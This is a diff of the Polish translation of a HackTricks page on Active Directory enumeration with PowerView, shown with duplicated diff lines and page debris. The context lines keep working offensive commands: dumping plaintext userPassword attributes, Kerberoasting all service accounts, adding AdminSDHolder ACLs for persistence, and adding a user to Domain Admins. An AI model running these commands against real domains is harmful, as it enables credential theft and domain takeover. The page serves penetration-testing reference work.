Naucz się, jak **wykorzystać uprawnienia w GPO i ACL** w:
|
||||||
|
|
||||||
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
|
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
|
||||||
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
|
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
|
||||||
|
@ -236,7 +236,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
||||||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||||
```
|
```
|
||||||
### Niski zawisający owoc
|
### Niski zawisły owoc
|
||||||
```powershell
|
```powershell
|
||||||
#Check if any user passwords are set
|
#Check if any user passwords are set
|
||||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||||
|
@ -287,8 +287,6 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||||
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
|
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
|
||||||
```
|
```
|
||||||
#### Kerberoast
|
#### Kerberoast
|
||||||
|
|
||||||
Kerberoast to technika polegająca na ataku na usługę Kerberos w celu uzyskania haseł użytkowników w postaci skróconych haseł.
|
|
||||||
```powershell
|
```powershell
|
||||||
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
|
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
|
||||||
```
|
```
|
||||||
|
@ -319,7 +317,7 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
|
||||||
# Add user to 'Domain Admins'
|
# Add user to 'Domain Admins'
|
||||||
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
|
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -327,10 +325,10 @@ Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue